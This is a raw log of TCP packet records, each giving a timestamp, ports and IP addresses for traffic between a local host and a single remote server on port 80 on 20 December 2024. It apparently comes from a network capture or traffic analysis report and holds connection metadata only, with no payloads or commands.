Dec 20, 2024 11:12:32.594986916 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.595055103 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.595109940 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.596019983 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.596069098 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.596108913 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.596154928 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.597090960 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.597141981 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.597181082 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.597228050 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.598128080 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.598172903 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.598212957 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.598261118 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.599170923 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.599219084 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.599294901 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.599343061 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.600351095 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.600399971 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.600486994 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.600537062 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.601321936 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.601372004 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.601430893 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.601481915 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.602377892 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.602432013 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.602489948 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.602546930 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.603437901 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.603487968 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.603492975 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.603545904 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.604490042 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.604540110 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.604578972 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.604629993 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.605530977 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.605576038 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.605786085 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.605839968 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.606605053 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.606652975 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.606693983 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.606743097 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.607654095 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.607702017 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.607743025 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.607789993 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.608809948 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.608828068 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.608856916 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.608885050 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.609827995 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.609874964 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.609970093 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.610018969 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.610948086 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.610966921 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.611001015 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.611015081 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.611884117 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.611936092 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.611983061 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.612025023 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.613019943 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.613035917 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.613069057 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.613085985 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.614074945 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.614222050 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.614283085 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.615159988 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.615221977 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.615350962 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.615405083 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.616128922 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.616189003 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.616229057 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.616276979 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.617202044 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.617264032 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.617341995 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.617398977 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.618277073 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.618325949 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.618375063 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.618428946 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.619343042 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.619362116 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.619401932 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.619419098 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.620376110 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.620423079 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.620487928 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.620537996 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.621490002 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.621541023 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.621581078 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.621628046 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.622585058 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.622658014 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.622714996 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.623507023 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.623617887 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.623681068 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.624614954 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.624671936 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.624844074 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.624897957 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.625654936 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.625714064 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.625746012 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.625797033 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.626696110 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.626806021 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.626833916 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.626879930 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.764961958 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.765014887 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.765039921 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.765064955 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.765459061 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.765507936 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.765553951 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.765599966 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.766220093 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.766268015 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.766359091 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.766403913 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.767141104 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.767187119 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.767358065 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.767405033 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.768294096 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.768342018 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.768389940 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.768436909 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.769248009 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.769294977 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.769370079 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.769416094 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.770340919 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.770386934 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.770428896 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.770478010 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.771367073 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.771413088 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.771502972 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.771545887 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.772497892 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.772545099 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.772547007 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.772600889 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.773535967 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.773583889 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.773617029 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.773663044 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.774570942 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.774622917 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.774684906 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.774749994 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.775598049 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.775644064 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.775770903 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.775815964 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.776729107 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.776777029 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.776817083 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.776864052 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.777703047 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.777750969 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.777813911 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.777856112 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.778853893 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.778899908 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.778933048 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.778980017 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.779954910 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.780003071 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.780049086 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.780096054 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.780911922 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.780956030 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.781083107 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.781128883 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.781950951 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.782001019 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.782066107 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.782114029 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.783055067 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.783102036 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.783143997 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.783190012 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.784064054 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.784112930 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.784147978 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.784198046 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.785144091 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.785191059 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.785284042 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.785329103 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.786175966 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.786221981 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.786263943 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.786309958 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.787245035 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.787292004 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.787384033 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.787431002 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.788335085 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.788382053 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.788405895 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.788455963 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.789573908 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.789623976 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.789684057 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.789731026 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.790608883 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.790654898 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.790780067 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.790827990 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.791753054 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.791779995 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.791801929 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.791819096 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.792887926 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.792937994 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.792983055 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.793030977 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.793934107 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.793984890 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.794025898 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.794074059 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.795033932 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.795079947 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.795252085 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.795299053 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.796118975 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.796168089 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.796181917 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.796231031 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.797105074 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.797156096 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.797282934 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.797329903 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.798271894 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.798322916 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.798360109 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.798417091 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.799344063 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.799393892 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.799597979 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.799643993 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.800682068 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.800730944 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.800908089 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.801017046 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.802126884 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.802175045 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.802252054 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.802298069 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.803277969 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.803328037 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.803369045 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.803417921 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.804141045 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.804191113 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.804321051 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.804368973 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.804980993 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.805028915 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.805104971 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.805146933 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.805891037 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.805941105 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.805948019 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.805994034 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.806623936 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.806672096 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.806730986 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.806777000 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.807509899 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.807553053 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.807574987 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.807621002 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.808450937 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.808502913 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.808599949 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.808648109 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.809482098 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.809530973 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.809606075 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.809655905 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.810532093 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.810584068 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.810631990 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.810678959 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.811574936 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.811619043 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.811708927 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.811755896 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.812686920 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.812733889 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.812810898 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.812858105 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.813718081 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.813767910 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.813802004 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.813848019 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.814785004 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.814836979 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.814930916 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.814980984 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.815836906 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.815886974 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.816164970 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.816214085 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.816903114 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.816951990 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.816999912 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.817054987 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.817981958 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.818028927 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.818217039 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.818264961 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.818993092 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.819046021 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.819133997 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.819185019 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.820108891 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.820156097 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.956648111 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.956728935 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.956794024 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.957133055 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.957195044 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.957268953 CET	80	49817	185.215.113.16	192.168.2.4
